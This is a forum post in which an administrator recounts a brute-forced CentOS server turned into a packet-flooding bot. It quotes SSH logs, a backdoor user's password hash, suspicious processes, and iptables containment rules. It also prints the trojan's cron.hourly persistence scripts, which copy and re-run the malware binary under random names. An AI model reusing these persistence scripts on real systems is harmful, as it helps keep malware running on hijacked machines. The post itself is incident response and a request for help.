- 论坛徽章:
- 4
|
本帖最后由 xiaoyun222 于 2016-05-12 15:07 编辑
5. 1之后上班，大家上网很慢慢时断时续。经过1个小时排查，发现是内部的一台centos测试服务器疯狂发包，拖垮整个网络。拔了测试服务器的网线一切恢复正常。
现登陆发现5.3号被暴力破解了root密码：
May 2 05:05:55 localhost sshd[8022]: Failed password for root from 221.203.3.102 port 14581 ssh2
May 2 05:05:58 localhost sshd[8022]: Failed password for root from 221.203.3.102 port 14581 ssh2
May 2 05:06:00 localhost sshd[8022]: Failed password for root from 221.203.3.102 port 14581 ssh2
May 2 05:06:02 localhost sshd[8022]: Failed password for root from 221.203.3.102 port 14581 ssh2
May 2 05:06:06 localhost sshd[8024]: Failed password for root from 221.203.3.102 port 28537 ssh2
May 3 01:05:47 localhost sshd[12939]: Accepted password for root from 221.203.142.133 port 29209 ssh2
并建立一个butter用户：
butter 6$yuVnsOV4xTsU9ZJ$Ta8zM6yQoy33aDwyONYPQFdbqrju0AKqfMbxSjpUSXwJG4swdSoIIE7qKL3WWOZKwWyXZrJODjLjqSexoRPA6/:16910:0:99999:7:::
TOP 发现一些可疑的进程
[root@localhost ~]# top
top - 14:19:12 up 6 days, 15:43, 2 users, load average: 0.00, 0.00, 0.00
Tasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.5%us, 2.2%sy, 0.0%ni, 97.3%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 2952696k total, 2857820k used, 94876k free, 191960k buffers
Swap: 1572856k total, 43604k used, 1529252k free, 409704k cached
21780 root 20 0 17024 5416 244 S 2.0 0.2 6:09.03 foflcqdx
17064 root 20 0 1376 944 168 S 0.3 0.0 0:00.01 doselqhzjku
[root@localhost log]# ls -al /proc/21780/exe
lrwxrwxrwx 1 root root 0 May 12 14:23 /proc/21780/exe -> /bin/foflcqdx
发现文件生成在/tmp目录下面，进程生成在/bin/,/usr/bin,/ /usr/local/bin等目录下面。这文件删除还会自动生成。
在/etc/cron.hourl下面产生一些脚本
[root@localhost cron.hourly]# ls
0anacron gcc.sh hh.tar xdqclfof.sh
查看脚本内容：
vi gcc.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep  awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6
vi xdqclfof.sh
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
rand=$(cat /dev/urandom | sed 's/[^a-zA-Z0-9]//g' | strings -n 5 | head -n 1)
cp "/bin/xdqclfof" "/bin/$rand"
"/bin/$rand"
现在木马还在，我做了iptables,禁止发包，禁止转发，禁止进入其他端口
iptables -I INPUT -p tcp --dport 80 -j ACCEPT
iptables -I INPUT -p tcp --dport 22 -j ACCEPT
iptables -I INPUT -p tcp --dport 3306 -j ACCEPT
iptables -I OUTPUT -p tcp --sport 22 -j ACCEPT
iptables -I OUTPUT -p tcp --sport 80 -j ACCEPT
iptables -I OUTPUT -p tcp --sport 3306 -j ACCEPT
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT DROP
service iptables save
大家帮忙出主意，如何找到木马的根源。不想装系统，只为谈论，学习。
|
|
免费注册
发表于 2016-05-12 14:56
ff 1